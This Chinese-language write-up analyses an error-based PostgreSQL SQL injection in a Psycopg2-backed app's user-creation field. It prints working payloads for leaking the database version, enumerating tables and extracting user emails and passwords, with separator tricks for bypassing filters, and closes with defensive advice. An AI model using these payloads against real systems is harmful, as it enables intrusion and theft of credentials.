POSTGRESQL盲注窃取PSYCOPG2数据
字数 949 2025-08-10 08:28:24

PostgreSQL盲注窃取Psycopg2数据技术分析

漏洞背景

本文详细分析了一个基于Python开发、使用PostgreSQL数据库的Web应用程序中的SQL注入漏洞。攻击者通过精心构造的SQL查询,成功绕过了输入限制,最终获取了数据库敏感信息。

漏洞发现过程

1. 目标识别

目标站点:staging.sub.redacted.com/endpoint/_dash-update-component

  • 接收大量POST请求,每个请求有唯一JSON响应
  • 用户分为Admin和User两种角色
  • 用户创建功能存在潜在注入点

2. 初始测试

创建用户请求示例:

{
  "output": "createUserSuccess.children",
  "inputs": [
    {"id": "newUsername", "property": "value", "value": "test1"},
    {"id": "newPwd1", "property": "value", "value": "test123123123"},
    {"id": "newEmail", "property": "value", "value": "test@test.com"},
    {"id": "role", "property": "value", "value": "dp"}
  ]
}

错误响应暴露关键信息:

{
  "response": {
    "createUserSuccess": {
      "children": {
        "props": {
          "children": [
            "New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]"
          ]
        }
      }
    }
  }
}

关键发现:

  • 使用Psycopg2作为PostgreSQL适配器
  • 用户名直接拼接到CREATE SCHEMA语句中
  • 错误信息泄露了原始SQL查询

注入技术分析

1. 注入确认

测试payload:testuser1; TEST
错误响应:

syntax error at or near \"TEST\"\nLINE 1: CREATE SCHEMA testuser1;TEST...

确认存在SQL注入,输入未被引号包裹。

2. 绕过技术

空格绕过

  • 原始空格被转换为下划线
  • 使用/**/作为注释分隔符(后被拦截)
  • 最终使用\n\r\t作为分隔符

字符长度限制

  • 用户名字段限制80字符
  • 使用::int替代CAST() AS INTEGER节省字符

3. 信息泄露技术

类型转换泄露

利用PostgreSQL的类型转换错误泄露信息:

test11a1111;SELECT/**/CAST(version()/**/AS/**/INTEGER);

或更简洁的:

t;SELECT\nversion()::int

响应示例:

PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.3 20140911 (Red Hat 4.8.3-9), 64-bit

表信息枚举

tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer

多行数据聚合

使用array_to_stringarray_agg函数:

b2;select\narray_to_string(array_agg(datname),',')::int\nfrom\npg_database;

4. 用户数据提取

t3;SELECT\n(select\nemail\nfrom\nuserdata\nlimit\n1\noffset\n5)::int
t3;SELECT\n(select\npassword\nfrom\nuserdata\nlimit\n1\noffset\n5)::int

防御建议

  1. 参数化查询:始终使用参数化查询而非字符串拼接
  2. 最小权限原则:数据库用户应仅具有必要权限
  3. 错误处理:自定义错误信息,避免泄露技术细节
  4. 输入验证:对用户名等输入实施严格格式限制
  5. 长度限制:合理设置各字段长度限制
  6. WAF防护:部署Web应用防火墙检测和阻断注入尝试

总结

本案例展示了如何利用PostgreSQL的类型转换特性和Psycopg2的错误处理机制,在严格的字符限制条件下成功实施SQL注入攻击。攻击者通过精心构造的短小payload,逐步枚举数据库结构并最终获取敏感数据,凸显了即使是看似受限的注入点也可能带来严重风险。

PostgreSQL盲注窃取Psycopg2数据技术分析 漏洞背景 本文详细分析了一个基于Python开发、使用PostgreSQL数据库的Web应用程序中的SQL注入漏洞。攻击者通过精心构造的SQL查询,成功绕过了输入限制,最终获取了数据库敏感信息。 漏洞发现过程 1. 目标识别 目标站点: staging.sub.redacted.com/endpoint/_dash-update-component 接收大量POST请求,每个请求有唯一JSON响应 用户分为Admin和User两种角色 用户创建功能存在潜在注入点 2. 初始测试 创建用户请求示例: 错误响应暴露关键信息: 关键发现: 使用Psycopg2作为PostgreSQL适配器 用户名直接拼接到 CREATE SCHEMA 语句中 错误信息泄露了原始SQL查询 注入技术分析 1. 注入确认 测试payload: testuser1; TEST 错误响应: 确认存在SQL注入,输入未被引号包裹。 2. 绕过技术 空格绕过 原始空格被转换为下划线 使用 /**/ 作为注释分隔符(后被拦截) 最终使用 \n 、 \r 或 \t 作为分隔符 字符长度限制 用户名字段限制80字符 使用 ::int 替代 CAST() AS INTEGER 节省字符 3. 信息泄露技术 类型转换泄露 利用PostgreSQL的类型转换错误泄露信息: 或更简洁的: 响应示例: 表信息枚举 多行数据聚合 使用 array_to_string 和 array_agg 函数: 4. 用户数据提取 防御建议 参数化查询 :始终使用参数化查询而非字符串拼接 最小权限原则 :数据库用户应仅具有必要权限 错误处理 :自定义错误信息,避免泄露技术细节 输入验证 :对用户名等输入实施严格格式限制 长度限制 :合理设置各字段长度限制 WAF防护 :部署Web应用防火墙检测和阻断注入尝试 总结 本案例展示了如何利用PostgreSQL的类型转换特性和Psycopg2的错误处理机制,在严格的字符限制条件下成功实施SQL注入攻击。攻击者通过精心构造的短小payload,逐步枚举数据库结构并最终获取敏感数据,凸显了即使是看似受限的注入点也可能带来严重风险。